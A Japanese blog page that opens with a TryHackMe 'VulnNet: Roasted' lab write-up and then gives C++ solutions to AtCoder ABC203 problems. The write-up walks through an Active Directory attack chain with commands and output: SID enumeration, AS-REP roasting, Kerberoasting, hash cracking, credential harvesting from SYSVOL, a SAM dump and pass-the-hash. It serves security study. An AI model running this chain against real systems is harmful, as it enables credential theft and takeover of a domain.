はまやんはまやんはまやん

hamayanhamayan's blog

VulnNet: Roasted 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210531111040p:plain

一部を■で隠しています。
…えー、正直全く分からなかったのでWriteupを激読みしてます。

Writeups

こういう情報があったら、これを試すということだけは分かった。
正直なんもわかってない。

第一段階:とあるユーザーのクレデンシャルを奪う

まずはnmap

$ nmap -sC -sV -Pn -n -A $IP
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-01 22:24 JST
Nmap scan report for 10.10.240.239
Host is up (0.33s latency).
Not shown: 989 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-06-01 13:24:57Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 4s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-06-01T13:25:27
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.74 seconds

kerberos, ldap, ds, smb, … 色々ありますね…
色々スキャンして散策していくと、kerberos認証で攻撃が刺さるっぽい。

kerberos

まずはユーザー一覧を持ってくる。

$ python3 /usr/share/doc/python3-impacket/examples/lookupsid.py anonymous@$IP
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Brute forcing SIDs at 10.10.240.239
[*] StringBinding ncacn_np:10.10.240.239[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1589833671-435344116-4136949213
498: VULNNET-RST\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: VULNNET-RST\Administrator (SidTypeUser)
501: VULNNET-RST\Guest (SidTypeUser)
502: VULNNET-RST\krbtgt (SidTypeUser)
512: VULNNET-RST\Domain Admins (SidTypeGroup)
513: VULNNET-RST\Domain Users (SidTypeGroup)
514: VULNNET-RST\Domain Guests (SidTypeGroup)
515: VULNNET-RST\Domain Computers (SidTypeGroup)
516: VULNNET-RST\Domain Controllers (SidTypeGroup)
517: VULNNET-RST\Cert Publishers (SidTypeAlias)
518: VULNNET-RST\Schema Admins (SidTypeGroup)
519: VULNNET-RST\Enterprise Admins (SidTypeGroup)
520: VULNNET-RST\Group Policy Creator Owners (SidTypeGroup)
521: VULNNET-RST\Read-only Domain Controllers (SidTypeGroup)
522: VULNNET-RST\Cloneable Domain Controllers (SidTypeGroup)
525: VULNNET-RST\Protected Users (SidTypeGroup)
526: VULNNET-RST\Key Admins (SidTypeGroup)
527: VULNNET-RST\Enterprise Key Admins (SidTypeGroup)
553: VULNNET-RST\RAS and IAS Servers (SidTypeAlias)
571: VULNNET-RST\Allowed RODC Password Replication Group (SidTypeAlias)
572: VULNNET-RST\Denied RODC Password Replication Group (SidTypeAlias)
1000: VULNNET-RST\WIN-2BO8M1OE1M1$ (SidTypeUser)
1101: VULNNET-RST\DnsAdmins (SidTypeAlias)
1102: VULNNET-RST\DnsUpdateProxy (SidTypeGroup)
1104: VULNNET-RST\enterprise-core-vn (SidTypeUser)
1105: VULNNET-RST\a-whitehat (SidTypeUser)
1109: VULNNET-RST\t-skid (SidTypeUser)
1110: VULNNET-RST\j-goldenhand (SidTypeUser)
1111: VULNNET-RST\j-leet (SidTypeUser)

ここからユーザー名を抽出してきて、ASREPRoast攻撃していこう。
(SidTypeUser)とあるユーザー名を持ってきて、users.txtという名前で保存して、パスワードハッシュを持ってくる。

$ python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py 'VULNNET-RST/' -usersfile users.txt -no-pass -dc-ip $IP
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User WIN-2BO8M1OE1M1$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User enterprise-core-vn doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a-whitehat doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$t-skid@VULNNET-RST:7057a29e0bbc2de8f9699fa612ecc405$7dd804....
[-] User j-goldenhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j-leet doesn't have UF_DONT_REQUIRE_PREAUTH set

なるほど、こうやって取れるのか。John The Ripperでクラックする。

$ john hash.txt  --wordlist=/usr/share/dirb/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
■■■■■■■■■        ($krb5asrep$23$t-skid@VULNNET-RST)
1g 0:00:00:05 DONE (2021-06-01 23:45) 0.1934g/s 614796p/s 614796c/s 614796C/s tjallin3..tj021502
Use the "--show" option to display all of the cracked passwords reliably
Session completed

出てきますね…ここからKerberoastingをする?

$ python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py 'VULNNET-RST.local/t-skid:■■■■■■' -outputfile 
kerb.hash -dc-ip $IP
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

ServicePrincipalName    Name                MemberOf                                                       PasswordLastSet             LastLogon                   Delegation 
----------------------  ------------------  -------------------------------------------------------------  --------------------------  --------------------------  ----------
CIFS/vulnnet-rst.local  enterprise-core-vn  CN=Remote Management Users,CN=Builtin,DC=vulnnet-rst,DC=local  2021-03-12 04:45:09.913979  2021-03-14 08:41:17.987528

なんかでてきた。hashがまた出てくるのでJohnで解析。

$ john kerb.hash  --wordlist=/usr/share/dirb/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
■■■■■■■■■■■   (?)
1g 0:00:00:03 DONE (2021-06-01 23:59) 0.2906g/s 1194Kp/s 1194Kc/s 1194KC/s ryan2k8..ry=i;iiI
Use the "--show" option to display all of the cracked passwords reliably
Session completed

マジで何やってるか分からん。
アクセスしてフラグを得よう。

$ /opt/evil-winrm/evil-winrm.rb -i $IP -u 'enterprise-core-vn' -p '■■■■■■■■■■'

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

dir
ls
*Evil-WinRM* PS C:\Users\enterprise-core-vn\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\enterprise-core-vn\Desktop> ls


    Directory: C:\Users\enterprise-core-vn\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/13/2021   3:43 PM             39 user.txt


*Evil-WinRM* PS C:\Users\enterprise-core-vn\Desktop> cat user.txt
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

ok.

第二段階:他のユーザーを探す

新しく手に入れた認証情報を使うとsmbで情報がより引き出せる。

$ smbmap -H $IP -u 'enterprise-core-vn' -p '■■■■■■■■■■■■'
[+] IP: 10.10.240.239:445       Name: 10.10.240.239
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        SYSVOL                                                  READ ONLY       Logon server share
        VulnNet-Business-Anonymous                              READ ONLY       VulnNet Business Sharing
        VulnNet-Enterprise-Anonymous                            READ ONLY       VulnNet Enterprise Sharing

smbで入ってみる。

$ smbclient //$IP/SYSVOL --user=enterprise-core-vn%■■■■■■■■■■■■■
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Mar 12 04:19:49 2021
  ..                                  D        0  Fri Mar 12 04:19:49 2021
  vulnnet-rst.local                  Dr        0  Fri Mar 12 04:19:49 2021

                8771839 blocks of size 4096. 4521966 blocks available
smb: \> pwd
Current directory is \\10.10.240.239\SYSVOL\
smb: \> cd vulnnet-rst.local
smb: \vulnnet-rst.local\> dir
  .                                   D        0  Fri Mar 12 04:23:40 2021
  ..                                  D        0  Fri Mar 12 04:23:40 2021
  DfsrPrivate                      DHSr        0  Fri Mar 12 04:23:40 2021
  Policies                            D        0  Fri Mar 12 04:20:26 2021
  scripts                             D        0  Wed Mar 17 08:15:49 2021

                8771839 blocks of size 4096. 4521966 blocks available
smb: \vulnnet-rst.local\> cd scripts
smb: \vulnnet-rst.local\scripts\> dir
  .                                   D        0  Wed Mar 17 08:15:49 2021
  ..                                  D        0  Wed Mar 17 08:15:49 2021
  ResetPassword.vbs                   A     2821  Wed Mar 17 08:18:14 2021

                8771839 blocks of size 4096. 4521886 blocks available
smb: \vulnnet-rst.local\scripts\> more ResetPassword.vbs
strUserNTName = "a-whitehat"
strPassword = "■■■■■■■■■■■■■■■■"

別のユーザーの認証情報が書いてある…
これを使うとSAMデータベースが抜ける…why...

$ python3 /usr/share/doc/python3-impacket/examples/secretsdump.py a-whitehat@$IP
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Target system bootKey: 0xf10a2788aef5f622149a41b2c745f49a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:■■■■■■■■■■■■■■■■■■■■■:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)

これでAdministrator接続ができる。

$ /opt/evil-winrm/evil-winrm.rb -i $IP -u Administrator -H ■■■■■■■■■■■■■■■■■■■■■

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/13/2021   3:34 PM             39 system.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat system.txt
■■■■■■■■■■■■■■■■■■■■■■

背景知識が無さ過ぎたが、軌跡として書いた。

Weed [AtCoder Beginner Contest 203(Sponsored by Panasonic) F]

https://atcoder.jp/contests/abc203/tasks/abc203_f

前提知識

解説

https://atcoder.jp/contests/abc203/submissions/23075597

まずAはソートしておこう。
これはよくあるテクであるが、ソート可能な配列はソートしておく。

何に気付くべきか

この問題は1つ重要な部分に気が付くことができるかがターニングポイントになる。

まず、青木君の操作を無視して、K=0のときを考えてみよう。
この時行われる操作は一意的になるので単純にシミュレーションすることで必要な高橋君の操作回数が分かる。
これで色々な場面を想定して性質を探すと、面白いことに気が付く。

1回操作を行うと残っている草の高さの最大値は半分以下になる。
最大値は109なので、半分以下を繰り返していき、0になるのに必要な回数を考えると30回が上限となる。
よって、青木君が改良しない場合であっても高橋君の操作の最大値は30回という極端に小さい値になる。

この性質が役に立つ。

動的計画法

これを考慮することでDPにつなげることができる。

dp[i][takahashi] := ソート済みの庭の草がi個処理済みであって、高橋君の操作回数がtakahashi回であるときの、青木君の最小操作

このようにソート済みの庭の草を小さい方から処理していくことにする。
遷移は2つ。

  • 青木君が草を抜く
    • dp[i][takahashi] + 1 -> dp[i+1][takahashi]
  • 高橋君が抜く
    • dp[i][takahashi] -> dp[nxt][takahashi + 1]
    • nxtはi番目の草を抜くときに最適となる最大の高さとして選択される草の番目

2番目の遷移が少しややこしい。
i番目の草を高橋君の操作で抜こうとした場合は、どの草が最大の高さとして選択されるかが選択肢としてあり得る。
このすべての試すのは間に合わないので、最も最適なものだけ遷移として試すことにする。
i番目の草を抜くためにはA[i]*2未満の草のうちを最大のものを抜くのが最適。
こうすることでより多くの草を抜くことができる。

答えるときはK≦dp[N][takahashi]を満たす最小のtakahashiを使って答えよう。

int N, K, A[201010];
int dp[201010][50];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;
    rep(i, 0, N) cin >> A[i];
    sort(A, A + N);

    rep(i, 0, N + 1) rep(takahashi, 0, 40) dp[i][takahashi] = inf;
    dp[0][0] = 0;
    rep(i, 0, N) rep(takahashi, 0, 40) if(dp[i][takahashi] != inf){
        chmin(dp[i + 1][takahashi], dp[i][takahashi] + 1);
        int nxt = lower_bound(A, A + N, A[i] * 2) - A;
        chmin(dp[nxt][takahashi + 1], dp[i][takahashi]);
    }

    rep(takahashi, 0, 40) if (dp[N][takahashi] <= K) {
        printf("%d %d\n", takahashi, dp[N][takahashi]);
        return;
    }
}

White Pawn [AtCoder Beginner Contest 203(Sponsored by Panasonic) E]

https://atcoder.jp/contests/abc203/tasks/abc203_e

解説

https://atcoder.jp/contests/abc203/submissions/23075564

計算を差分だけになるように気を付けながらポーンの場所を残しつつ、シミュレーションしていく問題。

ans := とあるx座標において、白のポーンがいる可能性のあるy座標の集合

これを差分計算しながらシミュレーションする。
最初はans = {N}の状態からx=0としてスタートする。
ここからx=1,2,3,...と駒を進めていくイメージでやる。

黒のポーンが次のx座標にない場合

黒のポーンがとあるx座標に全くない場合は、白のポーンが(x,y)にいる場合、(x,y)->(x+1,y)にしかならない。
これをansとして考えてみると全く変わらないことが分かる。
つまり、この場合は何もしないことでシミュレーションを終える。

黒のポーンがある場合

この場合は「全ての黒のポーンに対して操作を検討する」ことでシミュレーション計算を差分だけに抑える。
ここで全てのいる可能性のある白のポーンの全ての場所について操作を検討すると、計算量が爆発してしまうので注意。

とある黒のポーンについて、操作によっては、その場所に白のポーンが移動してくる可能性がある。
これは黒のポーンが(x,y)にあれば、白のポーンが(x-1,y-1)か(x-1,y+1)にある場合である。
ansで考えると、y-1かy+1が含まれる場合である。
C++であればansをsetで持っていればこれはcountメソッドを使って簡単に判定することができる。
条件を満たすなら次の状態で追加できるように別途メモっておこう。
(ここで直接追加してしまうとイテレーションしている関係であとの判定でバグる)

ここで判定に使われなかったansの白のポーンがいる可能性のある場所については、周りに黒のポーンが無いので、単なる(x,y)->(x+1,y)の操作となり、
先ほどと同様にansで何も操作しないことで実現できるので何もしない。

注意点として(x,y)に黒のポーンがある場合は白のポーンが移動できないので、
(x-1,y-1)か(x-1,y+1)に白のポーンがいる可能性がなく、(x,y)に黒のポーンがある場合は答えの候補として削除するようにしておこう。

実装

xを1,2,3とやると109通りで間に合わないので、ポーンがあるx座標のみ扱うようにmapで黒のポーンをまとめている。

int N, M;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> M;
    map<int, vector<int>> pawns;
    rep(i, 0, M) {
        int X, Y; cin >> X >> Y;
        pawns[X].push_back(Y);
    }

    set<int> ans;
    ans.insert(N);

    fore(p, pawns) {
        set<int> ng;
        set<int> ok;
        fore(y, p.second) {
            if (ans.count(y - 1)) ok.insert(y);
            else if (ans.count(y + 1)) ok.insert(y);
            else ng.insert(y);
        }
        fore(i, ng) ans.erase(i);
        fore(i, ok) if (0 <= i && i <= 2 * N) ans.insert(i);
    }

    cout << ans.size() << endl;
}

Pond [AtCoder Beginner Contest 203(Sponsored by Panasonic) D]

https://atcoder.jp/contests/abc203/tasks/abc203_d

前提知識

解説

https://atcoder.jp/contests/abc203/submissions/23075536

二分探索しよう。
始めてみる・慣れていない場合はピンとこないと思うが、最大値の最小値というのが二分探索では定番であり、
中央値の最小値で使われる場合も何回か見たことがあるのでスムーズに思いついた。
経験以外で思いつくトリガーあるのかな?ちょっと分からない。

二分探索

check(lim) := 全ての区間の中央値がlim以上であるかどうか

これを[0,∞)の範囲で判定問題を考えると、True True .... True False False ...のような分布となり、この境目のTrueが答えになる。

判定関数

とある区間の中央値がlim以上であることをいかに判定するかであるが、

とある区間の中央値がlim以上である ⇔ とある区間に含まれるlim以上の数の個数がK2/2+1以上である

と言い換えることができる。
この言い換え後の条件を見るとすべての数は

  • lim以上
  • lim未満

のどちらかに分別することができ、「分別後は具体的な数値は使用されない」ことになる。
よって行列の値をすべて0/1にすることができて、その1の個数を高速に取得できれば判定が高速にできる。

これには二次元累積和を使おう。区間の和を求めるのに累積和を使うと思うが、それを二次元に拡張したものがある。
詳しい実装は「二次元累積和」でググってもらえば出てくると思う。
自分はライブラリ化してしまっている。

int N, K, A[808][808];
//---------------------------------------------------------------------------------------------------
int check(int lim) {
    Ruisekiwa2D r2d(N, N);
    rep(y, 0, N) rep(x, 0, N) if (lim <= A[y][x]) r2d.add(x, y, 1);
    r2d.build();

    rep(y, 0, N - K + 1) rep(x, 0, N - K + 1) {
        int tot = r2d.get(x, x + K - 1, y, y + K - 1);
        if (tot < K * K / 2 + 1) return false;
    }
    return true;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;
    rep(i, 0, N) rep(j, 0, N) cin >> A[i][j];

    int ok = 0, ng = inf;
    while (ok + 1 != ng) {
        int md = (ok + ng) / 2;
        if (check(md)) ok = md;
        else ng = md;
    }
    cout << ok << endl;
}

Friends and Travel costs [AtCoder Beginner Contest 203(Sponsored by Panasonic) C]

https://atcoder.jp/contests/abc203/tasks/abc203_c

解説

https://atcoder.jp/contests/abc203/submissions/23075028

int N, K;
vector<pair<ll, ll>> AB;
//---------------------------------------------------------------------------------------------------
ll solve() {
    ll yen = K;
    ll x = 0;
    fore(p, AB) {
        ll A = p.first;
        ll B = p.second;

        if (yen < A - x) return x + yen;
        yen -= A - x;

        x = A;
        yen += B;
    }
    return x + yen;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;
    rep(i, 0, N) {
        ll a, b; cin >> a >> b;
        AB.push_back({ a, b });
    }
    sort(all(AB));

    cout << solve() << endl;
}

AtCoder Condominium [AtCoder Beginner Contest 203(Sponsored by Panasonic) B]

https://atcoder.jp/contests/abc203/tasks/abc203_b

解説

https://atcoder.jp/contests/abc203/submissions/23075335

全ての階層、すべての部屋について全探索して間に合うので全探索しよう。
2重ループで2変数を使うのでごちゃごちゃにならないように注意。
こういう問題があって、自分はループをマクロ短縮している。

int N, K;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;

    int ans = 0;
    rep(i, 1, N + 1) rep(j, 1, K + 1) ans += i * 100 + j;
    cout << ans << endl;
}

Chinchirorin [AtCoder Beginner Contest 203(Sponsored by Panasonic) A]

https://atcoder.jp/contests/abc203/tasks/abc203_a

解説

https://atcoder.jp/contests/abc203/submissions/23075477

問題に書いてあることをそのまま実装した。
全部違うかどうかはsetを使って実装して、被っているものがあれば、どこが被っているかを比較して答えた。
賢い方法を考えているうちに、体が勝手に実装を終えていた。

int a, b, c;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> a >> b >> c;

    set<int> se;
    se.insert(a);
    se.insert(b);
    se.insert(c);

    if (se.size() == 3) cout << 0 << endl;
    else {
        if (a == b) cout << c << endl;
        else if (a == c) cout << b << endl;
        else cout << a << endl;
    }
}